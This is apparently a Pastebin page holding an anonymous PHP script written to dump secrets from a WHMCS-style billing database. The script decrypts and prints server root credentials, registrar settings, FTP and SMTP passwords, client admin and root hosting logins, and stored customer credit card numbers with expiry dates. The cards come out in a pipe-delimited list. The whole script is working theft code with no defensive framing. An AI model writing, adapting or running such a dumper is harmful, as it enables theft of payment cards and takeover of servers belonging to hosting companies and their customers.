SHARE
TWEET

Untitled

a guest Mar 20th, 2016 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. include('configuration.php');
  3.  
  4. $query = mysql_query("SELECT * FROM tblservers");
  5. $text=$text."\r\n######################### HOST ROOTS ###########################\r\n";
  6. while($v = mysql_fetch_array($query)) {
  7.  
  8. $ipaddress = $v['ipaddress'];
  9. $username = $v['username'];
  10. $type = $v['type'];
  11. $active = $v['active'];
  12. $hostname = $v['hostname'];
  13.  
  14.  
  15. $password = decrypt ($v['password'], $cc_encryption_hash);
  16.  
  17. $text=$text."Type $type\r\n";
  18. $text=$text."Active $active\r\n";
  19. $text=$text."Hostname $hostname\r\n";
  20. $text=$text."Ip $ipaddress\r\n";
  21. $text=$text."Username $username\r\n";
  22. $text=$text."Password $password\r\n**************************************\r\n";
  23.  
  24.  
  25. }
  26. $text=$text."\r\n######################### HOST ROOTS ###########################\r\n";
  27.  
  28. $text=$text."\r\n######################### Domain Reseller ###########################\r\n";
  29.  
  30. $query = mysql_query("SELECT * FROM tblregistrars");
  31.  
  32. while($v = mysql_fetch_array($query)) {
  33.  
  34. $registrar  = $v['registrar'];
  35. $setting = $v['setting'];
  36. $value = decrypt ($v['value'], $cc_encryption_hash);
  37. if ($value=="") {
  38. $value=0;
  39. }
  40. $password = decrypt ($v['password'], $cc_encryption_hash);
  41. $text=$text."$registrar $setting $value\r\n";
  42. }
  43. $text=$text."\r\n######################### Domain Reseller ###########################\r\n";
  44.  
  45. $text=$text."\r\n######################### FTP +SMTP ###########################\r\n";
  46.     $query = mysql_query("SELECT * FROM tblconfiguration where setting='FTPBackupHostname' or setting='FTPBackupUsername' or  setting='FTPBackupPassword' or  setting='FTPBackupDestination' or  setting='SMTPHost' or  setting='SMTPUsername' or setting='SMTPPassword' or  setting='SMTPPort'");
  47. while($v = mysql_fetch_array($query)) {
  48. $value =$v['value'];
  49. if ($value=="") {
  50. $value=0;
  51. }
  52.  
  53. $text=$text.$v['setting']." ".$value."\r\n" ;
  54.    
  55. }
  56.    
  57.    
  58.     $text=$text."\r\n######################### FTP +SMTP ###########################\r\n";
  59.    
  60.         $text=$text."\r\n######################### Client R00ts ###########################\r\n";
  61.  $query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'Admin' or username = 'admin' or username = 'Administrator' or  username = 'administrator' order by domainstatus");
  62.  
  63.  
  64.     while($v = mysql_fetch_array($query)) {
  65.    $text=$text."\r\nDomain ".$v['domain']."\r\nIP ".$v['dedicatedip']."\r\nUsername ".$v['username']."\r\nPassword ".decrypt ($v['password'], $cc_encryption_hash)."\r\nDomainstatus".$v['domainstatus']."\r\n";
  66.     }
  67.     $text=$text."\r\n######################### Client R00ts ###########################\r\n";
  68.    
  69.         $text=$text."\r\n######################### Client HOST ###########################\r\n";
  70.  $query = mysql_query("SELECT * FROM tblhosting where domainstatus='Active'");
  71.  
  72.  
  73.     while($v = mysql_fetch_array($query)) {
  74.     if (($v['username'] ) and ($v['password'])) {
  75.    $text=$text."\r\nDomain ".$v['domain']."\r\nIP ".$v['dedicatedip']."\r\nUsername ".$v['username']."\r\nPassword ".decrypt ($v['password'], $cc_encryption_hash)."\r\nDomainstatus".$v['domainstatus']."\r\n";
  76.     }
  77.     }
  78.     $text=$text."\r\n######################### Client HOST ###########################\r\n";
  79.    
  80.    
  81.         $text=$text."\r\n######################### Client CC ###########################\r\n";
  82.     $query = mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> '' order by issuenumber desc");
  83.  
  84.    
  85. while($v = mysql_fetch_array($query)) {
  86. $cchash = md5( $cc_encryption_hash.$v['0']);
  87. $s=  mysql_query("select cardtype,AES_DECRYPT(cardnum,'{$cchash}') as cardnum,AES_DECRYPT(expdate,'{$cchash}') as expdate,AES_DECRYPT(issuenumber,'{$cchash}') as issuenumber,AES_DECRYPT(startdate,'{$cchash}') as startdate  FROM `tblclients` where id='".$v['0']."'" );
  88.  
  89. $v2=mysql_fetch_array($s);
  90.  
  91.   $text=$text."\r\n".$v2[0]."|".$v2[1]."|".$v2[2]."|".$v2[3]."|".$v2[4];
  92. }
  93.  
  94.  
  95.    
  96.  
  97.     $text=$text."\r\n######################### Client CC ###########################\r\n";
  98.    
  99.     echo($text);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top